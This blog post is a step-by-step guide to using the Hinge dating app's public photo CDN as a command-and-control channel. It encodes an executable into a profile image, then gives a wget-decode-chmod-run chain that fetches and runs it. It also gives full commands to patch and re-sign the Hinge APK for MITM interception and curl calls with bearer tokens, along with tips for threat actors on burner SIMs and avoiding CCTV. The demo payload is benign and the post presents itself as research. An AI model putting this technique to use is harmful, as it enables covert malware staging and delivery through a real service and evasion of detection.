Using Hinge as a Command & Control Server

Disclaimer: This doesn't qualify for consideration through Hinge's Hacker One disclosure page since we need to patch the app and MITM it. Although this technique is convoluted, I think a threat actor could make great use of it, which means it's worthy of attention. Besides, making C2s out of random things is free and fun entertainment, as Mauro Eldritch demonstrates.

Repository: https://github.com/matthewwiese/hinge-command-control-c2

Update: The Hinge account used in this post was banned (unsurprisingly) but the images uploaded to their CDN were not removed. Something to consider.

Account Setup

I'm going to assume you have already installed Hinge on an Android device. Our first hurdle is the account creation setup, as a phone number is required. Back in the day you could make a throwaway Google Voice number for stuff like this, but everyone has caught on to that now so I rarely bother. The best approach I've found for research are Mint Mobile 7-day trial SIMs. Chances are the number is already registered to a Hinge account, so you're gonna want to get more than one. They look like this:

These can be bought on eBay or in-person with cash at places like Target and Best Buy. If you're paranoid about being caught on CCTV at a retail store, then you're probably a criminal. If it makes you feel any better though, most places don't store footage for longer than a month, so plan your escapades in advance.

The Payload

Please see the GitHub repo linked above for all necessary files. To demonstrate this proof of concept, we will be using a vibe-coded Python script that visually encodes a binary into an image. When a user uploads a photo, Hinge transforms it before storing on their CDN. Somebody with steganography chops could probably get around that; treat what follows as an appetizer, the entrée is only limited by your imagination.

The "payload" in question is just a toy C program that prints "Hello World" - compile it:

gcc -s payload.c -o payload

Next, we will use our script to encode the image (numpy and PIL are required):

python enc.py encode payload payload.png

You should get something that looks like this:

Like I said, you can get as creative with this as you want. Hinge supports uploading videos, so one could probably string many of these images together and reconstitute the frames in order to store larger amounts of data.

Hinge Photos Are Public

I can't take credit for this work - my understanding of Hinge's undocumented API comes from this GitHub repository. Props to Reed for doing the hard work of reverse engineering. Somebody send him a rose!

If you know the "secret" user ID associated with a Hinge profile you can pull its data like so (using /user/v2/public instead will include your profile's biographical info):

curl -H "x-app-version: 9.103.1" \
-H "x-device-platform: android" \
-H "authorization: Bearer 0bsAcaDsY_t-jSK1d8C5J6r-b3c3ui1F0G01EIzW8Pk=" \
-H "x-device-id: ea3b329c4b0eeadd" \
-H "x-install-id: 02d5f0b2-9860-4543-b9d3-8d7af86975ad" \
"https://prod-api.hingeaws.net/content/v2/public?ids=3800512239643919861"

The headers above are necessary in order for Hinge not to reject your request with an error. We will be able to retrieve that info, including our fake user's ID, in the next section. If you run that curl command you should get something like this:

[
{
"userId":"3800512239643919861",
"content":{
"photos":[
{
"boundingBox":{
"topLeft":{
"x":0,
"y":0
},
"bottomRight":{
"x":1,
"y":1
}
},
"caption":"",
"cdnId":"pu6fv3qbtwfwl4m34r2h",
"contentId":"7c72a3f7-85b6-430b-9289-fcf3efdd45b6",
"location":"",
"promptId":"5d8a5e5ed138abfa1fb17ee9",
"source":"camera",
"sourceId":"pu6fv3qbtwfwl4m34r2h",
"pHash":"ec68e560e4a7eaa8",
"url":"https://media.hingenexus.com/image/upload/pu6fv3qbtwfwl4m34r2h.jpg",
"width":1576,
"height":1576,
"selfieVerified":false
},
"<more photos...>"
],
"answers":[
{
"contentId":"7b3df417-c879-4943-bba1-277f50a1b15c",
"position":2,
"questionId":"5b16d9ab636de0035ea7dc6a",
"type":"text",
"response":"Hack the planet",
"transcriptionMetadata":{

}
},
"<more answers...>"
]
}
}
]

The response will include all photo and answer data. The "answers" are free-form text fields the app provides to users in order to showcase their personality. You could enter a public key in one of these fields, just as Mauro did in the DEF CON talk I linked to in the disclaimer.

Let's see if our image still works:

wget https://media.hingenexus.com/image/upload/pu6fv3qbtwfwl4m34r2h.jpg
python enc.py decode pu6fv3qbtwfwl4m34r2h.jpg payload2
chmod +x payload2
./payload2

I'll let you guess what the output will be!

Patch Dat App

I'm not going to go through excruciating detail because if I did this post would be way too long and we'd drown in minutiae. The gist is that Hinge doesn't bother with certificate pinning, so MITMing it is trivial. You could do so with a rooted phone by adding your certificate to the system trust store, but because rooted phones are easy to detect, I wanted to avoid that. After all, a threat actor wants to stay as hidden as possible. Thankfully, doing this on a vanilla Android phone is easy so long as you turn on developer options and enable USB debugging.

There are open source projects like apk-mitm that help automate this drudgery. I tried apk-mitm specifically but it butchered the apk resources and lead to Hinge crashing on startup. So we're going to get our hands dirty and do it the old fashioned way - as you will see, it is so easy a house plant could do it.

Install the Android Debug Bridge. We start by finding the relevant apks; Hinge is an Android App Bundle and uses split apks. The base.apk file is the meat and potatoes, but we need all three:

adb shell pm list packages | grep hinge
package:co.hinge.app
adb shell pm path co.hinge.app
package:/data/app/~~SPa73TGJVGIyIEauH-XspQ==/co.hinge.app-0nE16h1-_jOfO23mEWhFig==/base.apk
package:/data/app/~~SPa73TGJVGIyIEauH-XspQ==/co.hinge.app-0nE16h1-_jOfO23mEWhFig==/split_config.arm64_v8a.apk
package:/data/app/~~SPa73TGJVGIyIEauH-XspQ==/co.hinge.app-0nE16h1-_jOfO23mEWhFig==/split_config.xhdpi.apk

Pull those apks down to your machine:

adb pull /data/app/~~SPa73TGJVGIyIEauH-XspQ==/co.hinge.app-0nE16h1-_jOfO23mEWhFig==/base.apk .
adb pull /data/app/~~SPa73TGJVGIyIEauH-XspQ==/co.hinge.app-0nE16h1-_jOfO23mEWhFig==/split_config.arm64_v8a.apk .
adb pull /data/app/~~SPa73TGJVGIyIEauH-XspQ==/co.hinge.app-0nE16h1-_jOfO23mEWhFig==/split_config.xhdpi.apk .

The one file we need to change is the network security config XML file. However, this file is in a special "axml" format so we can't just decompile the apk, edit it, and reinstall; but it's not much more work. Create the textfile first:

cat > nsc.xml << 'EOF'
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true">
<trust-anchors>
<certificates src="system" />
<certificates src="user" />
</trust-anchors>
</base-config>
</network-security-config>
EOF

The <certificates src="user" /> line is our secret sauce and all that's needed. We are going to use xml2axml to convert it to the binary format:

java -jar xml2axml-2.0.1.jar e nsc.xml nsc-binary.xml

Next, we will inject it into a new patched apk:

cp base.apk base-patched.apk
mkdir -p res/xml
cp nsc-binary.xml res/xml/network_security_config.xml
zip -d base-patched.apk "META-INF/*"
zip -u base-patched.apk res/xml/network_security_config.xml
java -jar uber-apk-signer-1.3.0.jar --apks base-patched.apk

The META-INF/* part strips the existing signature - we will end up doing this to all three apks so that we can sign them all with uber-apk-signer before installing:

mkdir install
cp split_config.*.apk install/dir
for apk in install/split_config.*.apk; do zip -d "$apk" "META-INF/*"; done
java -jar uber-apk-signer-1.3.0.jar --apks install/

Copy your patched apk into that directory, remove the existing Hinge app and reinstall the bundle:

cp base-patched-aligned-debugSigned.apk install
adb uninstall co.hinge.app
cd install
adb install-multiple base-patched-aligned-debugSigned.apk split_config.arm64_v8a-aligned-debugSigned.apk split_config.xhdpi-aligned-debugSigned.apk

For those that do better seeing everything as a single script, please see patch.sh in the repository.

Malcom in the Middle

We're almost done. Set up your Android phone to use mitmproxy and open the Hinge app and start doing stuff - you should see requests piling up in the mitmproxy interface.

The user ID and key header data we need can be found in a variety of requests. For example, if we inspect a GET request to https://prod-api.hingeaws.net/user/v3:

That provides us everything we need for the curl command shown earlier:

curl -H "x-app-version: 9.103.1" \
-H "x-device-platform: android" \
-H "authorization: Bearer egnoh-f_tZHOvehiwVXhUViLtwnJ9y0uK6vU1N0gH4s=" \
-H "x-device-id: ea3b329c4b0eeadd" \
-H "x-install-id: 454cf671-85e1-45a5-9167-f0645509521e" \
"https://prod-api.hingeaws.net/content/v2/public?ids=3800512239643919861"

Congratulations! You're now using Hinge to distribute unassuming abstract expressionist pixel art. Happy New Year.